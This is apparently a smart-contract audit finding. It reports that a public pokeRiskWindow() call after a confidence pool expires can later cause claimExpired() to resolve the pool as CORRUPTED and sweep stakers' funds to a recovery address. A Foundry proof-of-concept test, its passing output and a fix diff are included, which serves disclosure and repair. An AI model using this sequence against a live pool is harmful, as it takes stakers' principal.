Post-expiry risk-window sealing can make expired pools auto-corrupt and sweep staker funds
Description
When a confidence pool reaches expiry while the registry is still in an active-risk state, the documented behavior is that the pool has survived its underwritten term and should resolve through EXPIRED, returning principal plus any owed bonus to stakers.
The issue is that pokeRiskWindow() remains callable after expiry while the pool is still unresolved. A public caller can use it to set riskWindowStart to expiry without resolving the pool. If the registry later becomes CORRUPTED and the moderator grace period elapses, claimExpired() sees riskWindowStart != 0 and auto-resolves the already-expired pool as CORRUPTED. This changes principal settlement after the insured term has ended and lets the full pool balance be swept to recoveryAddress instead of returned to stakers.
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
@> outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
}
}
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
@> _observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
@> if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
@> if (t > expiry) t = expiry;
@> riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
Risk
Likelihood:
-
The pool remains unresolved after expiry while the registry is in UNDER_ATTACK or PROMOTION_REQUESTED.
-
Any public caller can call pokeRiskWindow() after expiry, which seals riskWindowStart at expiry while leaving the pool UNRESOLVED.
-
The registry later becomes CORRUPTED and the moderator does not resolve the pool during MODERATOR_CORRUPTED_GRACE.
Impact:
-
Stakers can lose principal and bonus after the pool already reached the term where active-risk expiry should resolve through EXPIRED.
-
In the PoC, Alice's 100 token principal and Carol's 50 token bonus are swept to recoveryAddress; Alice receives 0 in the exploit branch.
Proof of Concept
PoC file: test/poc/PostExpiryPokeAutoCorrupts.t.sol
Run from the repository root:
forge test --match-path 'test/poc/PostExpiryPokeAutoCorrupts.t.sol' -vvv
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PostExpiryPokeAutoCorruptsPoC is BaseConfidencePoolTest {
function test_withoutPostExpiryPokeLaterCorruptionResolvesExpired() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(pool.expiry() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "no observation means EXPIRED");
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "staker keeps principal");
assertEq(pool.riskWindowStart(), 0, "risk window was never sealed");
}
function test_postExpiryPokeTurnsLaterCorruptionIntoRecoverySweep() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(pool.expiry() + 1 days);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), pool.expiry(), "post-expiry poke seals the start at expiry");
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "poke does not resolve");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "same later state becomes CORRUPTED");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 150 * ONE, "principal and bonus swept to recovery");
assertEq(token.balanceOf(alice), 0, "staker loses principal");
}
}
Observed result:
Ran 2 tests for test/poc/PostExpiryPokeAutoCorrupts.t.sol:PostExpiryPokeAutoCorruptsPoC
[PASS] test_postExpiryPokeTurnsLaterCorruptionIntoRecoverySweep() (gas: 527933)
[PASS] test_withoutPostExpiryPokeLaterCorruptionResolvesExpired() (gas: 497911)
Suite result: ok. 2 passed; 0 failed; 0 skipped
Recommended Mitigation
Do not allow pokeRiskWindow() to seal a new risk-window marker after the pool has already expired. Once block.timestamp >= expiry, settlement should be finalized through claimExpired() rather than changed by a standalone observation.
Illustrative fix:
+ error PoolAlreadyExpired();
+
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ if (block.timestamp >= expiry) revert PoolAlreadyExpired();
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}